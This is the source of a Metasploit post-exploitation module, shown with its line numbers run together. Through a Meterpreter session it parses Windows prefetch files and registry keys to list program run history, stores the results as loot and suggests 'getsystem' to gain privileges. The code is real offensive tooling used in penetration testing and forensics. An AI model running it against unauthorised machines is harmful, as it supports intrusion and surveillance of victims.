Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_prefetch.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Prefetch File Information',15'Description' => %q{16This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems17and current values of related registry keys. From each prefetch file we'll collect18filetime (converted to utc) of the last execution, file path hash, run count, filename19and the execution path.20},21'License' => MSF_LICENSE,22'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],23'Platform' => ['win'],24'SessionType' => ['meterpreter'],25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28stdapi_fs_search29stdapi_sys_config_getenv30]31}32}33)34)35end3637def print_prefetch_key_value38# Checks if Prefetch registry key exists and what value it has.39prefetch_key_value = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters', 'EnablePrefetcher')40if prefetch_key_value == 041print_error('EnablePrefetcher Value: (0) = Disabled (Non-Default).')42elsif prefetch_key_value == 143print_good('EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).')44elsif prefetch_key_value == 245print_good('EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).')46elsif prefetch_key_value == 347print_good('EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).')48else49print_error('No value or unknown value. Results might vary.')50end51end5253def print_timezone_key_values(key_value)54# Looks for timezone information from registry.55timezone = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation', key_value)56tz_bias = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation', 'Bias')57if timezone.nil? || tz_bias.nil?58print_line("Couldn't find key/value for timezone from registry.")59else60print_good('Remote: Timezone is %s.' % timezone)61if tz_bias < 0xfff62print_good('Remote: Localtime bias to UTC: -%s minutes.' % tz_bias)63else64offset = 0xffffffff65bias = offset - tz_bias66print_good('Remote: Localtime bias to UTC: +%s minutes.' % bias)67end68end69end7071def gather_pf_info(name_offset, hash_offset, runcount_offset, filetime_offset, filename)72# Collects the desired information from each prefetch file found73# from the system.7475prefetch_file = read_file(filename)76if prefetch_file.blank?77print_error("Couldn't read file: #{filename}")78return nil79else80# First we extract the saved filename81pf_filename = prefetch_file[name_offset, 60]82idx = pf_filename.index("\x00\x00")83name = Rex::Text.to_ascii(pf_filename.slice(0..idx))8485# Then we get the runcount86run_count = prefetch_file[runcount_offset, 4].unpack('v')[0]8788# Then the filepath hash89path_hash = prefetch_file[hash_offset, 4].unpack('h*')[0].upcase.reverse9091# Last we get the latest execution time92filetime_a = prefetch_file[filetime_offset, 16].unpack('q*')93filetime = filetime_a[0] + filetime_a[1]94last_exec = Time.at((filetime - 116444736000000000) / 10000000).utc.to_s9596# This is for reading file paths of the executable from97# the prefetch file. We'll use this to find out from where the98# file was executed.99100# First we'll use specific offsets for finding out the location101# and length of the filepath so that we can find it.102filepath = []103fpath_offset = prefetch_file[0x64, 2].unpack('v').first104fpath_length = prefetch_file[0x68, 2].unpack('v').first105filepath_data = prefetch_file[fpath_offset, fpath_length]106107# This part will extract the filepath so that we can find and108# compare its contents to the filename we found previously. This109# allows us to find the filepath (if it can be found inside the110# prefetch file) used to execute the program111# referenced in the prefetch-file.112unless filepath_data.blank?113fpath_data_array = filepath_data.split("\\\x00D\x00E\x00V\x00I\x00C\x00E")114fpath_data_array.each do |path|115next if path.blank?116117fpath_name = path.split('\\').last.gsub(/\0/, '')118if fpath_name == name119filepath << path120end121end122end123end124if filepath.blank?125filepath << '*** Filepath not found ***'126end127128return [last_exec, path_hash, run_count, name, filepath[0]]129end130131def run132print_status('Prefetch Gathering started.')133134# Check to see what Windows Version is running.135# Needed for offsets.136# Tested on WinXP, Win2k3 and Win7 systems.137# http://www.forensicswiki.org/wiki/Prefetch138# http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format139140error_msg = "You don't have enough privileges. Try getsystem."141142version = get_version_info143if version.xp_or_2003?144145if !is_admin?146print_error(error_msg)147return nil148end149150# Offsets for WinXP & Win2k3151print_good("Detected #{version.product_name} (max 128 entries)")152name_offset = 0x10153hash_offset = 0x4C154runcount_offset = 0x90155filetime_offset = 0x78156# Registry key for timezone157key_value = 'StandardName'158159elsif version.win7_or_2008r2? && !version.windows_server?160if !is_admin?161print_error(error_msg)162return nil163end164165# Offsets for Win7166print_good("Detected #{version.product_name} (max 128 entries)")167name_offset = 0x10168hash_offset = 0x4C169runcount_offset = 0x98170filetime_offset = 0x78171# Registry key for timezone172key_value = 'TimeZoneKeyName'173else174print_error('No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.')175return nil176end177178table = Rex::Text::Table.new(179'Header' => 'Prefetch Information',180'Indent' => 1,181'Columns' =>182[183'Last execution (filetime)',184'Run Count',185'Hash',186'Filename',187'Filepath'188]189)190191print_prefetch_key_value192print_timezone_key_values(key_value)193print_good('Current UTC Time: %s' % Time.now.utc)194sys_root = session.sys.config.getenv('SYSTEMROOT')195full_path = sys_root + '\\Prefetch\\'196file_type = '*.pf'197print_status('Gathering information from remote system. This will take awhile..')198199# Goes through the files in Prefetch directory, creates file paths for the200# gather_pf_info function that enumerates all the pf info201202getfile_prefetch_filenames = client.fs.file.search(full_path, file_type)203if getfile_prefetch_filenames.empty? || getfile_prefetch_filenames.nil?204print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)")205return nil206else207getfile_prefetch_filenames.each do |file|208if file.empty? || file.nil?209next210else211filename = ::File.join(file['path'], file['name'])212pf_entry = gather_pf_info(name_offset, hash_offset, runcount_offset, filetime_offset, filename)213if !pf_entry.nil?214table << pf_entry215end216end217end218end219220# Stores and prints out results221results = table.to_s222loot = store_loot('prefetch_info', 'text/plain', session, results, nil, 'Prefetch Information')223print_line("\n" + results + "\n")224print_status('Finished gathering information from prefetch files.')225print_status("Results stored in: #{loot}")226end227end228229230